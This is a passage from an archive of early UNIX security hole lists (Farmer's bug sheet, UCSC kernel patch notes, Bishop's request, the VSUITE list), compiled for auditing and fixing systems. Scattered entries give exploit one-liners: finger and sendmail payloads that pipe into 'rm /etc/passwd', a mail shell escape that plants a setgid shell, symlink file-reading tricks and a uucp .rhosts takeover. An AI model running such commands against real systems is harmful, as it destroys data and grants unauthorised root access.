to violate by doing chmod to super-user on a spooled shell script. The atrun demon then runs the script as its owner. Solution: It's possible to protect /usr/spool/at to be unwritable, and setuid the at and atrun commands, but this may not be sufficient. Or, don't run atrun from crontab, e.g. disable the at(1) facility. Comment: System V.2 at(1) corrects this. * MAILERS: Mailers, and other programs which can save files, might let users modify /etc/passwd by appending to it, especially if they run setuid/setgid. Also, some mailers have a bad habit of prepending a "From" line containing the name of the process owner, who is an innocent bystander, to mail passing through the system, thus revealing the name of at least one user on the system. Also, some mailers use LOGNAME as the name of the sender. Solutions: Such programs must not modify non-owned files. Avoid running such programs setuid/setgid if possible. Keep sensitive files protected. Don't reveal random usernames in mailer programs, and don't use LOGNAME. * CRYPT COMMAND/LIBRARY: The encryption used is not as hard to break as once thought (see the Bell System Technical Journal, Volume 63, Number 8, Part 2). Solutions: Do not leave any cleartext around; it helps break the key if found. Don't use same the key as your password. Simple double-crypting or pre-ORing with patterns don't help; packing or otherwise re-distributing the data does. * UUCP CONFIGURATION: Most files in /usr/spool/uucp are publicly readable by default. If uucp owns certain other files, such as demons, and the uucp password is well known, users can use su -c to mess with the demons. The COMMANDS and USERFILE files must be properly constructed. The L.sys file contains private information like phone numbers. DIALLOG contains phone numbers. Solutions: Hide (protect) /usr/spool/uucp if necessary, to keep mail and other transactions secret and avoid changes to them. Have all uucp logins be for users other than uucp (such as remote system names) so people knowing those passwords can't dork with uucp-owned files, and keep the uucp password itself a secret. Insure that COMMANDS and USERFILE are protected (including the path to them), and that they are conservative (limit access except as required). Insure that L.sys is owned by uucp and not generally readable. By default DIALLOG is protected; no action is necessary. * BTMP AND SULOG FILES: If these files exist, login(1) and su(1), respectively, use them to log failed login attempts and all su attempts. Only usernames are logged in btmp, not passwords, but on occasion a user might type their password in to the login prompt. Also, sulog can help a pirate found out who system administrators are. Solution: Be sure /usr/adm/btmp and /usr/adm/sulog are only readable/writable by the super-user, and the path to them is secure. Long-term, perhaps login(1) and su(1) should chmod the file if necessary. (Note that smart pirates will never use su themselves, anyway.) * DATA NOT ENCRYPTED: Sensitive data lives on a disc shared with other files and other people. File system problems can (in the worst case) make such data public. Solution: Encrypt sensitive data, or keep it on private media. * USE QUOTED HERE DOCUMENTS: Unquoted shell "here" documents (see sh(1)) can cause trouble. For example, if the line "rm -r $x/dir" appears, but $x is not set until the script is executed, the file system could be injured. Solution: Quote all here documents, especially those which are shell scripts or at(1) input, unless there is a good reason not to so do. ================ *** *** Log start at 12:46pm on 4-11-93 *** Received: from DEATH.CERT.SEI.CMU.EDU by sparkyfs.erg.sri.com (5.64/2.6davy) id AA04197; Fri, 15 Feb 91 13:23:22 -0800 Received: from localhost by death.cert.sei.cmu.edu (5.65/2.3) id AA13566; Fri, 15 Feb 91 16:23:15 -0500 Message-Id: <9102152123.AA13566@death.cert.sei.cmu.edu> To: davy@erg.sri.com Subject: list Date: Fri, 15 Feb 91 16:23:14 EST From: Dan Farmer Bug reference sheet Comfirmations, additions, changes to: df@cert.sei.cmu.edu Last change made: Dec 12, 1990 4.X BSD Version problem --------------------- 4.1 can mail directly to a file run set gid program, dump core, is set gid of owner lock -- compiled in password "hasta la vista", plus can ^Z Pre 4.2? IFS w. preserve bug in vi suspend mkdir, ln file you want to dir, you own file 4.2 lock -- compiled in password "hasta la vista" ln passwd file to mail spool, mail to user ==> file can truncate read only files finger "string | /bin/rm -f /etc/passwd"@foo.bar ln -s target ~/.plan; finger user to read any file. lpr file; rm file; ln -s /any/filename file ==> prints file adb su; change check in memory; shell out; su ==> root. race condition, can get root via "at" 4.3 ftp -n; quote user ftp; ect. Gets root privs. lpd can overwrite file ln -s /any/suid/file -i ; -i Get suid shell. fchown (2) can chown _any_ file race condition (expreserve?), can get root via "at" passwd chokes on long lines, splits pw file ==> root access 4.3 Tahoe chfn -- allows newlines, meta chars, bufsize problem login ttyA&B; A:cat file can get root on host running (some) NFS from a root account on a non-trusted host due to bug in mount daemon (DYNIX 3.? also) 3.0 lock -- compiled in password "hasta la vista" any user can mount any filesystem login can run any program with root privs X11 doesn't clear passwords in memory; /dev/mem is world readable. ln -s target ~/.plan; finger user to read any file. 3.1- limit file 0; passwd ==> zero's out passwd file lpd can overwrite any file (back to 2.0?) 4.1- overflow Risc register buffer, get root through mail. ? chfn -- allows newlines, meta chars, bufsize problem ftp -n; quote user ftp; ect. Gets root privs. can change host name, mount any filesystem uudecode alias can overwrite root/daemon owned files 3.1? rshd -- spoof via nameservice, rsh target -l uid System V Version problem --------------------- ? can set IFS, other environment at "login:" prompt SVR4- expreserve problem/race condition. pre SVR4 write to files; race condition using mkdir & ln SGI (Iris?), MIPS, Steller --------------------------- Stellix 2.0 rsh -l "" runs as root RISC/os 4.51, DYNIX Stellix 2.1 login: -r hostname ruser^@luser^@term^@ HP-UX Version problem -------------------- 7.0- chfn -- allows newlines, etc. Different bug with 7.0. Apollo Version problem -------------------- 10.x(max10.3)break root by using s/rbak; problem is in setgid/uid Amdahl UTS Version problem -------------------- 2.0 NFS mountd only uses hostname as authentication; easy to spoof. SCO Version problem --------------------- ? can rlogin to any acct (root, etc.) to trusted host w/o password Bell tech sys V/386 -------------------- Microport 3.0 ulimit 0; passwd ==> zero's out passwd file YP --------------------- Pre 4.0 any user can run yp server 4.01/4.03 ypbind/ypserv, SunOS 4.01; need 3 machines 4.03 concurrent yppasswd sessions can trash yp passwd map ypserv will send maps to anyone who can guess the domainame Ultrix3.1/? allows newlines, meta chars, buffsize problem ? yppasswd leaves yp data files world writable ypbind takes ypset from all; anyone can say they are yp DB server. Sendmail --------------------- 4.1 BSD can mail directly to a file Sun 4.03, <=5.61 can mail to any file not root owned, have to try twice 5.61, 4.1Sun, lots others? groups incorrectly checked, can get any group Ultrix 2.2, DYNIX 3.0.14 -C file ==> displays any file. Ultrix 2.0? HP_UX versions 1.2&13.1 sm, -oQ ==> can read/write any file < 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail.... IRIX 3.3/3.31 any user can read any other user's mail. ? wiz; shell get root shell X --------------------- X11R? snoop on keyboards and bitmaps. X11R3-4 can set log on, execute commands (fixed in "fix-6") UUCP --------------------- Sun 4.03 uucico can show ph num, login, passwd, on remote machine. TCP/IP --------------------- icmperror errors not handled correctly; log off users remotely. Misc --------------------- Gnuemacs emacsclient/server allows access to files. yogi 3 [13:42] ~> ================ Subject: Summary of 4.2BSD kernel changes for improved security in use at ucsc in sys/init_sysent.c: /* added system calls: chfile - insure that user's tty drops DTR lead when user logs out (requires change to /etc/init) */ kern_exec.c: (getxfile()) /* * Restrict setuid-root to files on the root device. * Some bother for system administration, but it * greatly cuts down the territory to be searched for * spurious setuid-root programs. */ kern_prot.c: (setpgrp()) This is now being tested. It is to prevent a user being able to kill another user's background job. /* insure that the pgrp is not in use by somebody else */ kern_sig.c: (core()) /* keep the core file private */ kern_xxx.c: added chfile() code sys_inode.c: (rwip()) /* turn off SUID & SGID bits when file is written, even for super * user, to strengthen security. */ sys_process.c (procxmt()) #ifdef UCSC /* security patch from denelcor */ /* prevents user from running a setuid-root program under a debugger * and then modifying the code in the core image and resuming execution * of the modified code with original privileges. */ ufs_fio.c: (access()) /* make group with gid zero have no privileges. This is the default * login group for super users, and for files that we don't know in * what group they really belong. */ ufs_syscalls.c copen(): /* * Security patch to require special file inodes * to be on rootdev only. */ link(): #ifdef UCSC /* for security, no linking to files user can't read */ symlink(): #ifdef UCSC /* no symbolic links to things user can't read either */ chmod1(): /* * Enforce special restrictions on sticky bit and setuid bit */ /* warn the super user if he has inadvertently given somebody a * privileged file */ chown1(): /* include the super user in the protection afforded * by turning off SUID/SGID bits */ ufs_fio.c: (own()) #ifdef GRPMAST /* allow group manager access to non root-owned files */ /* this is convenient for instructional class accounts. The user * for whom uid == gid in the password file is the owner of the * class, and has all privileges over all files with that class * as group owner. */ actual patches available on request to ucbvax!ucscc!haynes =========================================================================== I'm starting a project to keep track of UNIX security holes and their fixes. Basically, this consists of writing a short monograph (they are too short to be called "papers") on each security hole I find out about, including an example of using it to break security, and including any fixes that I can figure out (or get from others.) I'm also trying to put in something about who found each bug, or who reported it; I know these things are usually found by multitudes of people acting independently, but I always have been curious about where these things came from, so ... In essence, I'm trying to start up a reference file of security holes and fixes. I'd like to ask your help in getting this project moving. If you know of any interesting security holes, would you pass them along? (Fixes too would be appreciated.) I have access to a 4.2 BSD system, so I can check out holes in that version of UNIX. I'm quite interested in holes in System V, too, but I don't have access to a pure System V version of UNIX (just a System V with Berkeley enhancements), so I'm not sure if I can actually test them. On the other hand, they might suggest holes in 4.2 BSD, so send ANY UNIX security holes you know of, too. Thanks to one and all for any help you can give ... Peace, Matt Bishop mab@riacs.ARPA arpanet ...!decvax!decwrl!riacs!mab one uucp path ...!ihnp4!ames!riacs!mab another uucp path ================= VSUITE.LST Hole List: first part from USAF UNIX security paper most from the VSUITE project ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. ========EOF========== #